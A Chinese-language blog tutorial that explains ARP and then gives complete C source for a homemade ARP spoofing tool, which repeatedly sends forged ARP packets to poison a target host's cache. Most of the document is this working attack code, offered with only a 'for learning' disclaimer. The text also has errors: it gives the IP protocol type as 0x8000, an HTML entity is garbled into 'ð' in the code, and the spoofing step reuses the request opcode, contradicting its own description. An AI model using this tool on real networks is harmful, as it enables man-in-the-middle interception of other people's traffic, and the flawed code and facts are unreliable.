在WireShark协议分析的学习过程学习了ARP协议的数据包格式,所以准备自制一个小小的ARP欺骗工具。在制作该工具前需要掌握如下知识:
##一、ARP协议内容
ARP(Address Resolution Protocol)协议的基本功能是通过IP地址找到对应的硬件地址,ARP协议的工作过程是(假设A主机(IP:192.168.1.110、MAC:0A:11:22:33:44:01)要和B主机(IP:192.168.1.120、MAC:0A:11:22:33:44:02)进行通信):
1、A主机在自己的ARP缓存中查找是否有B主机的ARP缓存。
2、如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.120的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
3、主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
4、主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
5、当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。
ARP协议的内容如下:
以太网传输层
- 目标以太网地址:目标MAC地址。ff:ff:ff:ff:ff:ff 为广播地址。
- 源以太网地址:发送方MAC地址。
- 帧类型:以太类型,ARP为0x0806。
以太网报文数据
- 硬件地址类型:如以太网(0x0001)、分组无线网。
- 协议地址类型:如网际协议(0x8000)、IPv6(0x86DD)。
- 硬件地址长度:每种硬件地址的字节长度,一般为6。
- 协议地址长度:每种协议地址的字节长度,一般为4。
- 操作码:1为请求,2为回显。
- 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
- 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
- 目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。
如下图:
##二、获取本机硬件地址
在Linux下获取本机的MAC地址可以使用ioctl函数实现,该函数的声明如下:
#include <sys/ioctl.h>
int ioctl(int d, int request, …);
利用该函数可以获取到一些硬件信息,具体取决于request和其后的变参列表的组合,这里我们使用SIOCGIFHWADDR和struct ifreq该结构体的组合来获取本机的MAC地址。使用方法如下:
ioctl(sock_fd, SIOCGIFHWADDR, ðinfo);
sock_fd是我们实现打开的一个文件描述符,ethinfo是一个struct ifreq类型的变量,函数调用成功之后会将MAC地址存入数组ethinfo.ifr_hwaddr.sa_data中。
##三、通过socket直接操作数据链路层数据
Linux下直接通过socket操作数据链路层数据可以 socket创建文件描述符的时候传入SOCK_PACKET参数选项,然后通过sendto和recvfrom系统调用分别向绑定的网卡上发送和接收数据。具体使用见程序。
##四、程序实现过程
程序运行时需要指定三个命令行参数,分别是所使用的网卡设备、所要欺骗的目标IP,伪装的IP,如:./my_arpspoof eht0 192.168.1.1 192.168.1.109 表示告诉192.168.1.1我是192.168.1.109。
1、获取本机MAC地址,构建ARP请求包,向所要欺骗的目标IP发送ARP请求包用来获取其MAC地址。
2、构建ARP回应包,填入伪装IP和自己的MAC地址发送给上一步获取的MAC地址。
3、不断循环发送第二步构建的ARP数据包,使得对方主机处于持续接收我虚假ARP回应包的状态。
##五、代码实现
/*************************************************************************
> File Name: my_arpspoof.c
> Author: Jung
> Mail: jungzhang@xiyoulinux.org
> Created Time: 2016年08月02日 星期二 08时02分14秒
> Description:
************************************************************************/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <unistd.h>
//获取本机MAC地址,存入mac数组中,要求传入网卡名字
int getMacAddr(unsigned char mac[], const char name[])
{
struct ifreq ethinfo;
int sock_fd;
if (name == NULL || mac == NULL) {
return -1;
}
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Open Socket");
return -1;
}
strcpy(ethinfo.ifr_name, name);
if (ioctl(sock_fd, SIOCGIFHWADDR, ðinfo) < 0) {
perror("Ioctl");
return -1;
}
for (int i = 0; i < 6; ++i) {
mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i];
}
close(sock_fd);
return 1;
}
//构建ARP数据包
void packarp(char *mymac, char *tarmac, int *tarip, int *myip, char *opcode, char *arppack)
{
char eth_type[2] = {0x00,0x01}; //硬件类型,以太网为1
char por_type[2] = {0x08,0x00}; //ARP正在使用的上层协议类型,这里是IP协议
char type[2] = {0x08, 0x06}; //帧类型,0x0806表示ARP
char eth_length = 6; //硬件地址长度
char por_length = 4; //协议地址长度,这里指IP协议
memset(arppack, 0, 42); //清空发送缓存区
memcpy(arppack, tarmac, 6); //6个字节表示目标主机的mac地址
memcpy(arppack + 6, mymac, 6); //6个字节表示源主机的mac地址
memcpy(arppack + 12, type, 2); //帧类型,这里表示ARP
memcpy(arppack + 14, eth_type, 2); //硬件地址,这里表示以太网
memcpy(arppack + 16, por_type, 2); //ARP正在使用的上层协议
memcpy(arppack + 18, ð_length, 1); //硬件地址长度
memcpy(arppack + 19, &por_length, 1); //协议地址长度
memcpy(arppack + 20, opcode, 2); //标记是ARP还是ARP应答
memcpy(arppack + 22, mymac, 6); //发送者MAC地址
memcpy(arppack + 28, myip, 4); //发送者IP
if (!(opcode[0] == 0x00 && opcode[1] == 0x01)) {
memcpy(arppack + 32, tarmac, 6); //目标MAC地址
}
memcpy(arppack + 38, tarip, 4); //目标IP地址
}
int main(int argc, char *argv[])
{
char mymac[6] = {0};
char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
char recvarp[42] = {0};
char sendarp[42] = {0};
int tarip;
int myip;
char opcode[2];
int sock_fd;
struct sockaddr addr;
if (argc < 4) {
return EXIT_FAILURE;
}
//获取本机MAC地址
if (getMacAddr(mymac, argv[1]) < 0) {
printf("获取MAC地址失败\n");
return EXIT_FAILURE;
}
myip = inet_addr(argv[3]);
tarip = inet_addr(argv[2]);
opcode[0] = 0x00;
opcode[1] = 0x01;
packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);
if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) {
perror("Open Socket");
return EXIT_FAILURE;
}
memset(&addr, 0, sizeof(addr));
strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
socklen_t len = sizeof(addr);
while(1) {
if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
printf("发送ARP包成功\n");
} else {
perror("sendto");
return EXIT_FAILURE;
}
if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) {
if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) {
memcpy(tarmac, recvarp + 22, 6);
printf("获取MAC地址成功\n");
break;
}
}
sleep(1);
}
opcode[0] = 0x00;
opcode[1] = 0x01;
packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);
while(1) {
if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
printf("发送ARP欺骗包成功\n");
} else {
perror("sendto");
return EXIT_FAILURE;
}
sleep(1);
}
close(sock_fd);
return EXIT_SUCCESS;
}
至此,一个简单的ARP欺骗工具就制作完成了(仅供交流学习使用)。